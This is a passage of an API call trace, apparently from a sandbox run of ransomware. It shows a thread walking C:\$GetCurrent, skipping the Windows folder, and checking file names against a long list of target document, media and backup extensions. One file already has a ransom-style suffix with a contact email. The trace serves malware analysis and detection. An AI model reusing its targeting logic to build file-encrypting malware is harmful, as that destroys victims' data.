	[0178.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b06b0 | out: hHeap=0x4f0000) returned 1
	[0178.046] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0178.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b0688 | out: hHeap=0x4f0000) returned 1

Thread:
	id = 53
	os_tid = 0xe4c

	[0134.139] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4510050
	[0134.139] lstrlenW (lpString="C:") returned 2
	[0134.139] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x41bfcf8 | out: lpFindFileData=0x41bfcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x775f0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x5dd3c0
	[0134.140] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0134.140] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1
	[0134.140] lstrlenW (lpString="$GetCurrent") returned 11
	[0134.140] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1
	[0134.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0134.141] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0134.141] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5dd680
	[0134.141] FindNextFileW (in: hFindFile=0x5dd680, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0134.141] FindNextFileW (in: hFindFile=0x5dd680, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97e232ed, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97e232ed, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1
	[0134.141] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0134.141] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1
	[0134.141] lstrlenW (lpString="Logs") returned 4
	[0134.141] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1
	[0134.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4530060
	[0134.142] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0134.142] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97e232ed, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97e232ed, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd440
	[0134.143] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97e232ed, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97e232ed, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.143] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97fa2bfb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97fa2bfb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9808bce9, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DOWNLE~1.YG")) returned 1
	[0134.143] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[sysadmin@mail.fr].yG") returned 71
	[0134.143] lstrlenW (lpString=".1cd") returned 4
	[0134.143] lstrcmpiW (lpString1=".1cd", lpString2="].yG") returned -1
	[0134.143] lstrlenW (lpString=".3ds") returned 4
	[0134.143] lstrcmpiW (lpString1=".3ds", lpString2="].yG") returned -1
	[0134.143] lstrlenW (lpString=".3fr") returned 4
	[0134.143] lstrcmpiW (lpString1=".3fr", lpString2="].yG") returned -1
	[0134.143] lstrlenW (lpString=".3g2") returned 4
	[0134.143] lstrcmpiW (lpString1=".3g2", lpString2="].yG") returned -1
	[0134.143] lstrlenW (lpString=".3gp") returned 4
	[0134.143] lstrcmpiW (lpString1=".3gp", lpString2="].yG") returned -1
	[0134.144] lstrlenW (lpString=".7z") returned 3
	[0134.144] lstrcmpiW (lpString1=".7z", lpString2=".yG") returned -1
	[0134.144] lstrlenW (lpString=".accda") returned 6
	[0134.144] lstrcmpiW (lpString1=".accda", lpString2="fr].yG") returned -1
	[0134.144] lstrlenW (lpString=".accdb") returned 6
	[0134.144] lstrcmpiW (lpString1=".accdb", lpString2="fr].yG") returned -1
	[0134.144] lstrlenW (lpString=".accdc") returned 6
	[0134.144] lstrcmpiW (lpString1=".accdc", lpString2="fr].yG") returned -1
	[0134.144] lstrlenW (lpString=".accde") returned 6
	[0134.144] lstrcmpiW (lpString1=".accde", lpString2="fr].yG") returned -1
	[0134.144] lstrlenW (lpString=".accdt") returned 6
	[0134.144] lstrcmpiW (lpString1=".accdt", lpString2="fr].yG") returned -1
	[0134.144] lstrlenW (lpString=".accdw") returned 6
	[0134.144] lstrcmpiW (lpString1=".accdw", lpString2="fr].yG") returned -1
	[0134.144] lstrlenW (lpString=".adb") returned 4
	[0134.144] lstrcmpiW (lpString1=".adb", lpString2="].yG") returned -1
	[0134.144] lstrlenW (lpString=".adp") returned 4
	[0134.144] lstrcmpiW (lpString1=".adp", lpString2="].yG") returned -1
	[0134.144] lstrlenW (lpString=".ai") returned 3
	[0134.144] lstrcmpiW (lpString1=".ai", lpString2=".yG") returned -1
	[0134.144] lstrlenW (lpString=".ai3") returned 4
	[0134.144] lstrcmpiW (lpString1=".ai3", lpString2="].yG") returned -1
	[0134.144] lstrlenW (lpString=".ai4") returned 4
	[0134.144] lstrcmpiW (lpString1=".ai4", lpString2="].yG") returned -1
	[0134.144] lstrlenW (lpString=".ai5") returned 4
	[0134.144] lstrcmpiW (lpString1=".ai5", lpString2="].yG") returned -1
	[0134.144] lstrlenW (lpString=".ai6") returned 4
	[0134.144] lstrcmpiW (lpString1=".ai6", lpString2="].yG") returned -1
	[0134.145] lstrlenW (lpString=".ai7") returned 4
	[0134.145] lstrcmpiW (lpString1=".ai7", lpString2="].yG") returned -1
	[0134.145] lstrlenW (lpString=".ai8") returned 4
	[0134.145] lstrcmpiW (lpString1=".ai8", lpString2="].yG") returned -1
	[0134.145] lstrlenW (lpString=".anim") returned 5
	[0134.145] lstrcmpiW (lpString1=".anim", lpString2="r].yG") returned -1
	[0134.145] lstrlenW (lpString=".arw") returned 4
	[0134.145] lstrcmpiW (lpString1=".arw", lpString2="].yG") returned -1
	[0134.145] lstrlenW (lpString=".as") returned 3
	[0134.145] lstrcmpiW (lpString1=".as", lpString2=".yG") returned -1
	[0134.145] lstrlenW (lpString=".asa") returned 4
	[0134.145] lstrcmpiW (lpString1=".asa", lpString2="].yG") returned -1
	[0134.145] lstrlenW (lpString=".asc") returned 4
	[0134.145] lstrcmpiW (lpString1=".asc", lpString2="].yG") returned -1
	[0134.145] lstrlenW (lpString=".ascx") returned 5
	[0134.145] lstrcmpiW (lpString1=".ascx", lpString2="r].yG") returned -1
	[0134.145] lstrlenW (lpString=".asm") returned 4
	[0134.145] lstrcmpiW (lpString1=".asm", lpString2="].yG") returned -1
	[0134.145] lstrlenW (lpString=".asmx") returned 5
	[0134.145] lstrcmpiW (lpString1=".asmx", lpString2="r].yG") returned -1
	[0134.145] lstrlenW (lpString=".asp") returned 4
	[0134.145] lstrcmpiW (lpString1=".asp", lpString2="].yG") returned -1
	[0134.145] lstrlenW (lpString=".aspx") returned 5
	[0134.145] lstrcmpiW (lpString1=".aspx", lpString2="r].yG") returned -1
	[0134.145] lstrlenW (lpString=".asr") returned 4
	[0134.145] lstrcmpiW (lpString1=".asr", lpString2="].yG") returned -1
	[0134.145] lstrlenW (lpString=".asx") returned 4
	[0134.146] lstrcmpiW (lpString1=".asx", lpString2="].yG") returned -1
	[0134.146] lstrlenW (lpString=".avi") returned 4
	[0134.146] lstrcmpiW (lpString1=".avi", lpString2="].yG") returned -1
	[0134.146] lstrlenW (lpString=".avs") returned 4
	[0134.146] lstrcmpiW (lpString1=".avs", lpString2="].yG") returned -1
	[0134.146] lstrlenW (lpString=".backup") returned 7
	[0134.146] lstrcmpiW (lpString1=".backup", lpString2=".fr].yG") returned -1
	[0134.146] lstrlenW (lpString=".bak") returned 4
	[0134.146] lstrcmpiW (lpString1=".bak", lpString2="].yG") returned -1
	[0134.146] lstrlenW (lpString=".bay") returned 4
	[0134.146] lstrcmpiW (lpString1=".bay", lpString2="].yG") returned -1
	[0134.146] lstrlenW (lpString=".bd") returned 3
	[0134.146] lstrcmpiW (lpString1=".bd", lpString2=".yG") returned -1
	[0134.146] lstrlenW (lpString=".bin") returned 4
	[0134.146] lstrcmpiW (lpString1=".bin", lpString2="].yG") returned -1
	[0134.146] lstrlenW (lpString=".bmp") returned 4
	[0134.146] lstrcmpiW (lpString1=".bmp", lpString2="].yG") returned -1
	[0134.146] lstrlenW (lpString=".bz2") returned 4
	[0134.146] lstrcmpiW (lpString1=".bz2", lpString2="].yG") returned -1
	[0134.146] lstrlenW (lpString=".c") returned 2
	[0134.146] lstrcmpiW (lpString1=".c", lpString2="yG") returned -1
	[0134.146] lstrlenW (lpString=".cdr") returned 4
	[0134.146] lstrcmpiW (lpString1=".cdr", lpString2="].yG") returned -1
	[0134.146] lstrlenW (lpString=".cer") returned 4
	[0134.147] lstrcmpiW (lpString1=".cer", lpString2="].yG") returned -1
	[0134.147] lstrlenW (lpString=".cf") returned 3
	[0134.147] lstrcmpiW (lpString1=".cf", lpString2=".yG") returned -1
	[0134.147] lstrlenW (lpString=".cfc") returned 4
	[0134.147] lstrcmpiW (lpString1=".cfc", lpString2="].yG") returned -1
	[0134.147] lstrlenW (lpString=".cfm") returned 4
	[0134.147] lstrcmpiW (lpString1=".cfm", lpString2="].yG") returned -1
	[0134.147] lstrlenW (lpString=".cfml") returned 5
	[0134.147] lstrcmpiW (lpString1=".cfml", lpString2="r].yG") returned -1
	[0134.147] lstrlenW (lpString=".cfu") returned 4
	[0134.147] lstrcmpiW (lpString1=".cfu", lpString2="].yG") returned -1
	[0134.147] lstrlenW (lpString=".chm") returned 4
	[0134.147] lstrcmpiW (lpString1=".chm", lpString2="].yG") returned -1
	[0134.147] lstrlenW (lpString=".cin") returned 4
	[0134.147] lstrcmpiW (lpString1=".cin", lpString2="].yG") returned -1
	[0134.147] lstrlenW (lpString=".class") returned 6
	[0134.147] lstrcmpiW (lpString1=".class", lpString2="fr].yG") returned -1
	[0134.147] lstrlenW (lpString=".clx") returned 4
	[0134.147] lstrcmpiW (lpString1=".clx", lpString2="].yG") returned -1
	[0134.147] lstrlenW (lpString=".config") returned 7
	[0134.147] lstrcmpiW (lpString1=".config", lpString2=".fr].yG") returned -1
	[0134.147] lstrlenW (lpString=".cpp") returned 4
	[0134.147] lstrcmpiW (lpString1=".cpp", lpString2="].yG") returned -1
	[0134.147] lstrlenW (lpString=".cr2") returned 4
	[0134.147] lstrcmpiW (lpString1=".cr2", lpString2="].yG") returned -1
	[0134.147] lstrlenW (lpString=".crt") returned 4
	[0134.147] lstrcmpiW (lpString1=".crt", lpString2="].yG") returned -1
	[0134.148] lstrlenW (lpString=".crw") returned 4
	[0134.148] lstrcmpiW (lpString1=".crw", lpString2="].yG") returned -1
	[0134.148] lstrlenW (lpString=".cs") returned 3
	[0134.148] lstrcmpiW (lpString1=".cs", lpString2=".yG") returned -1
	[0134.148] lstrlenW (lpString=".css") returned 4
	[0134.148] lstrcmpiW (lpString1=".css", lpString2="].yG") returned -1
	[0134.148] lstrlenW (lpString=".csv") returned 4
	[0134.148] lstrcmpiW (lpString1=".csv", lpString2="].yG") returned -1
	[0134.148] lstrlenW (lpString=".cub") returned 4
	[0134.148] lstrcmpiW (lpString1=".cub", lpString2="].yG") returned -1
	[0134.148] lstrlenW (lpString=".dae") returned 4
	[0134.148] lstrcmpiW (lpString1=".dae", lpString2="].yG") returned -1
	[0134.148] lstrlenW (lpString=".dat") returned 4
	[0134.148] lstrcmpiW (lpString1=".dat", lpString2="].yG") returned -1
	[0134.148] lstrlenW (lpString=".db") returned 3
	[0134.148] lstrcmpiW (lpString1=".db", lpString2=".yG") returned -1
	[0134.148] lstrlenW (lpString=".dbf") returned 4
	[0134.148] lstrcmpiW (lpString1=".dbf", lpString2="].yG") returned -1
	[0134.148] lstrlenW (lpString=".dbx") returned 4
	[0134.148] lstrcmpiW (lpString1=".dbx", lpString2="].yG") returned -1
	[0134.148] lstrlenW (lpString=".dc3") returned 4
	[0134.148] lstrcmpiW (lpString1=".dc3", lpString2="].yG") returned -1
	[0134.148] lstrlenW (lpString=".dcm") returned 4
	[0134.148] lstrcmpiW (lpString1=".dcm", lpString2="].yG") returned -1
	[0134.148] lstrlenW (lpString=".dcr") returned 4
	[0134.149] lstrcmpiW (lpString1=".dcr", lpString2="].yG") returned -1
	[0134.149] lstrlenW (lpString=".der") returned 4
	[0134.149] lstrcmpiW (lpString1=".der", lpString2="].yG") returned -1
	[0134.149] lstrlenW (lpString=".dib") returned 4
	[0134.149] lstrcmpiW (lpString1=".dib", lpString2="].yG") returned -1
	[0134.149] lstrlenW (lpString=".dic") returned 4
	[0134.149] lstrcmpiW (lpString1=".dic", lpString2="].yG") returned -1
	[0134.149] lstrlenW (lpString=".dif") returned 4
	[0134.149] lstrcmpiW (lpString1=".dif", lpString2="].yG") returned -1
	[0134.149] lstrlenW (lpString=".divx") returned 5
	[0134.149] lstrcmpiW (lpString1=".divx", lpString2="r].yG") returned -1
	[0134.149] lstrlenW (lpString=".djvu") returned 5
	[0134.149] lstrcmpiW (lpString1=".djvu", lpString2="r].yG") returned -1
	[0134.149] lstrlenW (lpString=".dng") returned 4
	[0134.149] lstrcmpiW (lpString1=".dng", lpString2="].yG") returned -1
	[0134.149] lstrlenW (lpString=".doc") returned 4
	[0134.149] lstrcmpiW (lpString1=".doc", lpString2="].yG") returned -1
	[0134.149] lstrlenW (lpString=".docm") returned 5
	[0134.149] lstrcmpiW (lpString1=".docm", lpString2="r].yG") returned -1
	[0134.149] lstrlenW (lpString=".docx") returned 5
	[0134.149] lstrcmpiW (lpString1=".docx", lpString2="r].yG") returned -1
	[0134.149] lstrlenW (lpString=".dot") returned 4
	[0134.149] lstrcmpiW (lpString1=".dot", lpString2="].yG") returned -1
	[0134.149] lstrlenW (lpString=".dotm") returned 5
	[0134.149] lstrcmpiW (lpString1=".dotm", lpString2="r].yG") returned -1
	[0134.149] lstrlenW (lpString=".dotx") returned 5
	[0134.150] lstrcmpiW (lpString1=".dotx", lpString2="r].yG") returned -1
	[0134.150] lstrlenW (lpString=".dpx") returned 4
	[0134.150] lstrcmpiW (lpString1=".dpx", lpString2="].yG") returned -1
	[0134.150] lstrlenW (lpString=".dqy") returned 4
	[0134.150] lstrcmpiW (lpString1=".dqy", lpString2="].yG") returned -1
	[0134.150] lstrlenW (lpString=".dsn") returned 4
	[0134.150] lstrcmpiW (lpString1=".dsn", lpString2="].yG") returned -1
	[0134.150] lstrlenW (lpString=".dt") returned 3
	[0134.150] lstrcmpiW (lpString1=".dt", lpString2=".yG") returned -1
	[0134.150] lstrlenW (lpString=".dtd") returned 4
	[0134.150] lstrcmpiW (lpString1=".dtd", lpString2="].yG") returned -1
	[0134.150] lstrlenW (lpString=".dwg") returned 4
	[0134.150] lstrcmpiW (lpString1=".dwg", lpString2="].yG") returned -1
	[0134.150] lstrlenW (lpString=".dwt") returned 4
	[0134.150] lstrcmpiW (lpString1=".dwt", lpString2="].yG") returned -1
	[0134.150] lstrlenW (lpString=".dx") returned 3
	[0134.150] lstrcmpiW (lpString1=".dx", lpString2=".yG") returned -1
	[0134.150] lstrlenW (lpString=".dxf") returned 4
	[0134.150] lstrcmpiW (lpString1=".dxf", lpString2="].yG") returned -1
	[0134.150] lstrlenW (lpString=".edml") returned 5
	[0134.150] lstrcmpiW (lpString1=".edml", lpString2="r].yG") returned -1
	[0134.150] lstrlenW (lpString=".efd") returned 4
	[0134.150] lstrcmpiW (lpString1=".efd", lpString2="].yG") returned -1
	[0134.150] lstrlenW (lpString=".elf") returned 4
	[0134.150] lstrcmpiW (lpString1=".elf", lpString2="].yG") returned -1
	[0134.150] lstrlenW (lpString=".emf") returned 4
	[0134.150] lstrcmpiW (lpString1=".emf", lpString2="].yG") returned -1
	[0134.151] lstrlenW (lpString=".emz") returned 4
	[0134.151] lstrcmpiW (lpString1=".emz", lpString2="].yG") returned -1
	[0134.151] lstrlenW (lpString=".epf") returned 4
	[0134.151] lstrcmpiW (lpString1=".epf", lpString2="].yG") returned -1
	[0134.151] lstrlenW (lpString=".eps") returned 4
	[0134.151] lstrcmpiW (lpString1=".eps", lpString2="].yG") returned -1
	[0134.151] lstrlenW (lpString=".epsf") returned 5
	[0134.151] lstrcmpiW (lpString1=".epsf", lpString2="r].yG") returned -1
	[0134.151] lstrlenW (lpString=".epsp") returned 5
	[0134.151] lstrcmpiW (lpString1=".epsp", lpString2="r].yG") returned -1
	[0134.151] lstrlenW (lpString=".erf") returned 4
	[0134.151] lstrcmpiW (lpString1=".erf", lpString2="].yG") returned -1
	[0134.151] lstrlenW (lpString=".exr") returned 4
	[0134.151] lstrcmpiW (lpString1=".exr", lpString2="].yG") returned -1
	[0134.151] lstrlenW (lpString=".f4v") returned 4
	[0134.151] lstrcmpiW (lpString1=".f4v", lpString2="].yG") returned -1
	[0134.151] lstrlenW (lpString=".fido") returned 5
	[0134.151] lstrcmpiW (lpString1=".fido", lpString2="r].yG") returned -1
	[0134.151] lstrlenW (lpString=".flm") returned 4
	[0134.151] lstrcmpiW (lpString1=".flm", lpString2="].yG") returned -1
	[0134.151] lstrlenW (lpString=".flv") returned 4
	[0134.151] lstrcmpiW (lpString1=".flv", lpString2="].yG") returned -1
	[0134.151] lstrlenW (lpString=".frm") returned 4
	[0134.151] lstrcmpiW (lpString1=".frm", lpString2="].yG") returned -1
	[0134.151] lstrlenW (lpString=".fxg") returned 4
	[0134.151] lstrcmpiW (lpString1=".fxg", lpString2="].yG") returned -1
	[0134.151] lstrlenW (lpString=".geo") returned 4
	[0134.152] lstrcmpiW (lpString1=".geo", lpString2="].yG") returned -1
	[0134.152] lstrlenW (lpString=".gif") returned 4
	[0134.152] lstrcmpiW (lpString1=".gif", lpString2="].yG") returned -1
	[0134.152] lstrlenW (lpString=".grs") returned 4
	[0134.152] lstrcmpiW (lpString1=".grs", lpString2="].yG") returned -1
	[0134.152] lstrlenW (lpString=".gz") returned 3
	[0134.152] lstrcmpiW (lpString1=".gz", lpString2=".yG") returned -1
	[0134.152] lstrlenW (lpString=".h") returned 2
	[0134.152] lstrcmpiW (lpString1=".h", lpString2="yG") returned -1
	[0134.152] lstrlenW (lpString=".hdr") returned 4
	[0134.152] lstrcmpiW (lpString1=".hdr", lpString2="].yG") returned -1
	[0134.152] lstrlenW (lpString=".hpp") returned 4
	[0134.152] lstrcmpiW (lpString1=".hpp", lpString2="].yG") returned -1
	[0134.152] lstrlenW (lpString=".hta") returned 4
	[0134.152] lstrcmpiW (lpString1=".hta", lpString2="].yG") returned -1
	[0134.152] lstrlenW (lpString=".htc") returned 4
	[0134.152] lstrcmpiW (lpString1=".htc", lpString2="].yG") returned -1
	[0134.152] lstrlenW (lpString=".htm") returned 4
	[0134.152] lstrcmpiW (lpString1=".htm", lpString2="].yG") returned -1
	[0134.152] lstrlenW (lpString=".html") returned 5
	[0134.152] lstrcmpiW (lpString1=".html", lpString2="r].yG") returned -1
	[0134.152] lstrlenW (lpString=".icb") returned 4
	[0134.152] lstrcmpiW (lpString1=".icb", lpString2="].yG") returned -1
	[0134.152] lstrlenW (lpString=".ics") returned 4
	[0134.152] lstrcmpiW (lpString1=".ics", lpString2="].yG") returned -1
	[0134.152] lstrlenW (lpString=".iff") returned 4
	[0134.153] lstrcmpiW (lpString1=".iff", lpString2="].yG") returned -1
	[0134.153] lstrlenW (lpString=".inc") returned 4
	[0134.153] lstrcmpiW (lpString1=".inc", lpString2="].yG") returned -1
	[0134.153] lstrlenW (lpString=".indd") returned 5
	[0134.153] lstrcmpiW (lpString1=".indd", lpString2="r].yG") returned -1
	[0134.153] lstrlenW (lpString=".ini") returned 4
	[0134.153] lstrcmpiW (lpString1=".ini", lpString2="].yG") returned -1
	[0134.153] lstrlenW (lpString=".iqy") returned 4
	[0134.153] lstrcmpiW (lpString1=".iqy", lpString2="].yG") returned -1
	[0134.153] lstrlenW (lpString=".j2c") returned 4
	[0134.153] lstrcmpiW (lpString1=".j2c", lpString2="].yG") returned -1
	[0134.153] lstrlenW (lpString=".j2k") returned 4
	[0134.153] lstrcmpiW (lpString1=".j2k", lpString2="].yG") returned -1
	[0134.153] lstrlenW (lpString=".java") returned 5
	[0134.153] lstrcmpiW (lpString1=".java", lpString2="r].yG") returned -1
	[0134.153] lstrlenW (lpString=".jp2") returned 4
	[0134.153] lstrcmpiW (lpString1=".jp2", lpString2="].yG") returned -1
	[0134.153] lstrlenW (lpString=".jpc") returned 4
	[0134.153] lstrcmpiW (lpString1=".jpc", lpString2="].yG") returned -1
	[0134.153] lstrlenW (lpString=".jpe") returned 4
	[0134.153] lstrcmpiW (lpString1=".jpe", lpString2="].yG") returned -1
	[0134.153] lstrlenW (lpString=".jpeg") returned 5
	[0134.153] lstrcmpiW (lpString1=".jpeg", lpString2="r].yG") returned -1
	[0134.153] lstrlenW (lpString=".jpf") returned 4
	[0134.153] lstrcmpiW (lpString1=".jpf", lpString2="].yG") returned -1
	[0134.153] lstrlenW (lpString=".jpg") returned 4
	[0134.153] lstrcmpiW (lpString1=".jpg", lpString2="].yG") returned -1
	[0134.154] lstrlenW (lpString=".jpx") returned 4
	[0134.154] lstrcmpiW (lpString1=".jpx", lpString2="].yG") returned -1
	[0134.154] lstrlenW (lpString=".js") returned 3
	[0134.154] lstrcmpiW (lpString1=".js", lpString2=".yG") returned -1
	[0134.154] lstrlenW (lpString=".jsf") returned 4
	[0134.154] lstrcmpiW (lpString1=".jsf", lpString2="].yG") returned -1
	[0134.154] lstrlenW (lpString=".json") returned 5
	[0134.154] lstrcmpiW (lpString1=".json", lpString2="r].yG") returned -1
	[0134.154] lstrlenW (lpString=".jsp") returned 4
	[0134.154] lstrcmpiW (lpString1=".jsp", lpString2="].yG") returned -1
	[0134.154] lstrlenW (lpString=".kdc") returned 4
	[0134.154] lstrcmpiW (lpString1=".kdc", lpString2="].yG") returned -1
	[0134.154] lstrlenW (lpString=".kmz") returned 4
	[0134.154] lstrcmpiW (lpString1=".kmz", lpString2="].yG") returned -1
	[0134.154] lstrlenW (lpString=".kwm") returned 4
	[0134.154] lstrcmpiW (lpString1=".kwm", lpString2="].yG") returned -1
	[0134.154] lstrlenW (lpString=".lasso") returned 6
	[0134.154] lstrcmpiW (lpString1=".lasso", lpString2="fr].yG") returned -1
	[0134.154] lstrlenW (lpString=".lbi") returned 4
	[0134.154] lstrcmpiW (lpString1=".lbi", lpString2="].yG") returned -1
	[0134.154] lstrlenW (lpString=".lgf") returned 4
	[0134.154] lstrcmpiW (lpString1=".lgf", lpString2="].yG") returned -1
	[0134.154] lstrlenW (lpString=".lgp") returned 4
	[0134.154] lstrcmpiW (lpString1=".lgp", lpString2="].yG") returned -1
	[0134.154] lstrlenW (lpString=".log") returned 4
	[0134.154] lstrcmpiW (lpString1=".log", lpString2="].yG") returned -1
	[0134.154] lstrlenW (lpString=".m1v") returned 4
	[0134.155] lstrcmpiW (lpString1=".m1v", lpString2="].yG") returned -1
	[0134.155] lstrlenW (lpString=".m4a") returned 4
	[0134.155] lstrcmpiW (lpString1=".m4a", lpString2="].yG") returned -1
	[0134.155] lstrlenW (lpString=".m4v") returned 4
	[0134.155] lstrcmpiW (lpString1=".m4v", lpString2="].yG") returned -1
	[0134.155] lstrlenW (lpString=".max") returned 4
	[0134.155] lstrcmpiW (lpString1=".max", lpString2="].yG") returned -1
	[0134.155] lstrlenW (lpString=".md") returned 3
	[0134.155] lstrcmpiW (lpString1=".md", lpString2=".yG") returned -1
	[0134.155] lstrlenW (lpString=".mda") returned 4
	[0134.155] lstrcmpiW (lpString1=".mda", lpString2="].yG") returned -1
	[0134.155] lstrlenW (lpString=".mdb") returned 4
	[0134.155] lstrcmpiW (lpString1=".mdb", lpString2="].yG") returned -1
	[0134.155] lstrlenW (lpString=".mde") returned 4
	[0134.155] lstrcmpiW (lpString1=".mde", lpString2="].yG") returned -1
	[0134.155] lstrlenW (lpString=".mdf") returned 4
	[0134.155] lstrcmpiW (lpString1=".mdf", lpString2="].yG") returned -1
	[0134.155] lstrlenW (lpString=".mdw") returned 4
	[0134.155] lstrcmpiW (lpString1=".mdw", lpString2="].yG") returned -1
	[0134.155] lstrlenW (lpString=".mef") returned 4
	[0134.155] lstrcmpiW (lpString1=".mef", lpString2="].yG") returned -1
	[0134.155] lstrlenW (lpString=".mft") returned 4
	[0134.155] lstrcmpiW (lpString1=".mft", lpString2="].yG") returned -1
	[0134.155] lstrlenW (lpString=".mfw") returned 4
	[0134.155] lstrcmpiW (lpString1=".mfw", lpString2="].yG") returned -1
	[0134.155] lstrlenW (lpString=".mht") returned 4
	[0134.155] lstrcmpiW (lpString1=".mht", lpString2="].yG") returned -1
	[0134.155] lstrlenW (lpString=".mhtml") returned 6
	[0134.156] lstrcmpiW (lpString1=".mhtml", lpString2="fr].yG") returned -1
	[0134.156] lstrlenW (lpString=".mka") returned 4
	[0134.156] lstrcmpiW (lpString1=".mka", lpString2="].yG") returned -1
	[0134.156] lstrlenW (lpString=".mkidx") returned 6
	[0134.156] lstrcmpiW (lpString1=".mkidx", lpString2="fr].yG") returned -1
	[0134.156] lstrlenW (lpString=".mkv") returned 4
	[0134.156] lstrcmpiW (lpString1=".mkv", lpString2="].yG") returned -1
	[0134.156] lstrlenW (lpString=".mos") returned 4
	[0134.156] lstrcmpiW (lpString1=".mos", lpString2="].yG") returned -1
	[0134.156] lstrlenW (lpString=".mov") returned 4
	[0134.156] lstrcmpiW (lpString1=".mov", lpString2="].yG") returned -1
	[0134.156] lstrlenW (lpString=".mp3") returned 4
	[0134.156] lstrcmpiW (lpString1=".mp3", lpString2="].yG") returned -1
	[0134.156] lstrlenW (lpString=".mp4") returned 4
	[0134.156] lstrcmpiW (lpString1=".mp4", lpString2="].yG") returned -1
	[0134.156] lstrlenW (lpString=".mpeg") returned 5
	[0134.156] lstrcmpiW (lpString1=".mpeg", lpString2="r].yG") returned -1
	[0134.156] lstrlenW (lpString=".mpg") returned 4
	[0134.156] lstrcmpiW (lpString1=".mpg", lpString2="].yG") returned -1
	[0134.156] lstrlenW (lpString=".mpv") returned 4
	[0134.156] lstrcmpiW (lpString1=".mpv", lpString2="].yG") returned -1
	[0134.156] lstrlenW (lpString=".mrw") returned 4
	[0134.156] lstrcmpiW (lpString1=".mrw", lpString2="].yG") returned -1
	[0134.156] lstrlenW (lpString=".msg") returned 4
